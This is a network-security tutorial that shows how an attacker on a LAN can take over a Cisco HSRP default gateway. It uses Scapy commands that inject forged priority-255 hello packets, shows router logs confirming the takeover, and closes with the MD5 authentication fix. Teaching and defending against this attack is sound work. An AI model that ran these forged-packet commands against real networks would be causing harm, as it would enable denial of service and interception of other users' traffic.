First hop redundancy protocols including HSRP, VRRP, and GLBP, can be used to emulate a virtual router on a subnet, typically hosts' default gateway. However, if adequate authentication is not enabled, a malicious user can claim a higher priority and become the active router, which positions him to create a denial of service (DoS) or man in the middle (MITM) attack. All three protocols mentioned posess this vulnerability, but the following example demonstrates exploitation only of HSRP.

The Vulnerability

Consider the following topology, in which routers 1 and 2 provide a redundant virtual default gateway at 172.16.40.1 for LAN hosts in the 172.16.40.0/24 subnet.

Both routers have an HSRP group configured on their FastEthernet0/0 interface. R2 is configured as the standby router with a priority of 90 (R1 has the default priority of 100).

R1:

interface FastEthernet0/0
 ip address 172.16.40.10 255.255.255.0
 standby 1 ip 172.16.40.1

R2:

interface FastEthernet0/0
 ip address 172.16.40.20 255.255.255.0
 standby 1 ip 172.16.40.1
 standby 1 priority 90

We can verify that R1 is the active HSRP router using the show standby command:

R1# show standby
FastEthernet0/0 - Group 1
  State is Active
    2 state changes, last state change 00:43:11
  Virtual IP address is 172.16.40.1
  Active virtual MAC address is 0000.0c07.ac01
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
    Next hello sent in 0.868 secs
  Preemption disabled
  Active router is local
  Standby router is 172.16.40.20, priority 90 (expires in 8.856 sec)
  Priority 100 (default 100)
  IP redundancy name is "hsrp-Fa0/0-1" (default)

Both routers exchange HSRP hello packets at the default interval of three seconds. Because these packets are multicast to 224.0.0.2 (the "all routers" IPv4 multicast address), they are flooded to all hosts in the broadcast domain. This means any host with layer two connectivity can intercept and inspect the HSRP parameters. An HSRP packet from R1 in our topology looks like this:

This single HSRP packet provides all the information necessary for an attacker to hijack the HSRP group and become the active router.

The Attack

To usurp the active router, an we need only to inject HSRP hellos claiming the active role with a higher priority. Fields of interest from the intercepted packet above are:

• State - A state of "active" (code 16) verifies we have a hello from the active router.
• Hellotime - This value is how often we should retransmit our forged hello packet, in seconds.
• Priority - We'll need to claim a higher priority than the active router to take over.

All other fields should match between our captured packet and the one we inject.

A number of tools are available to emulate an HSRP router, but for this example we'll use the Scapy packet manipulation framework. Scapy provides a very convenient interface for constructing, transmitting, and capturing packets. We can make use of its prebuilt libraries to easily construct a forged HSRP packet. Each protocol layer is built from an independent Python object:

Linux# scapy
Welcome to Scapy (2.0.0.10 beta)
>>> ip = IP(src='172.16.40.128', dst='224.0.0.2')
>>> udp = UDP()
>>> hsrp = HSRP(group=1, priority=255, virtualIP='172.16.40.1')

We only need to specify the important values; Scapy is smart enough to fill in things like the UDP port number and packet length on transmission. Because our intercepted packet indicated a hello time of three seconds, we'll need to retransmit our forged packet at the same interval (inter=3) indefinitely (loop=1):

>>> send(ip/udp/hsrp, iface='eth1', inter=3, loop=1)

With this command, Scapy begins repeatedly transmitting the packet we built onto the wire every three seconds. Aside from the source IP address and increased HSRP priority, our injected packets are virtually identical to the ones coming from R1 (including the default authentication string of "cisco"). When R1 begins receiving our forged hellos, we see it transition state from active to speak, then from speak to standby:

%HSRP-5-STATECHANGE: FastEthernet0/0 Grp 1 state Active -> Speak
%HSRP-5-STATECHANGE: FastEthernet0/0 Grp 1 state Speak -> Standby

Similarly, R2 has transitioned from standby to listen, as it has the least of the three priorities in play, and there can only be one active and one standby router.

The output of show standby on R1 verifies we have become the active router:

R1# show standby
FastEthernet0/0 - Group 1
  State is Standby
    4 state changes, last state change 00:00:57
  Virtual IP address is 172.16.40.1
  Active virtual MAC address is 000c.2960.d782
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
    Next hello sent in 2.040 secs
  Preemption disabled
  Active router is 172.16.40.128, priority 255 (expires in 7.288 sec)
  Standby router is local
  Priority 100 (default 100)
  IP redundancy name is "hsrp-Fa0/0-1" (default)

At this point, we have achieved an eventual denial of service attack, as neither router will answer ARP requests for 172.16.40.1 so long as we are seen as the active router. Although our example ends here, we could opt to begin answering ARP requests for 172.16.40.1 with our own MAC. By capturing the traffic from other hosts on the LAN and forwarding it on to one of the legitimate routers, we could easily achieve a man-in-the-middle attack.

The Fix

Configuring a plain-text authentication string is obviously useless, as an attacker can easily intercept and reuse it just as we did with the default authentication string ("cisco"). However, with MD5 hash authentication configured, each router will append a secure one-way hash to the end of each HSRP packet.

R1(config)# interface f0/0
R1(config-if)# standby 1 authentication md5 key-string MyPassword

R2(config)# interface f0/0
R2(config-if)# standby 1 authentication md5 key-string MyPassword

While an attacker can still intercept and interpret these packets, he can't inject an altered copy without knowing the key string used to create the MD5 hash. If we try our attack again, this time both routers simply log an HSRP authentication failure:

%HSRP-4-BADAUTH: Bad authentication from 172.16.40.128, group 1, remote state Active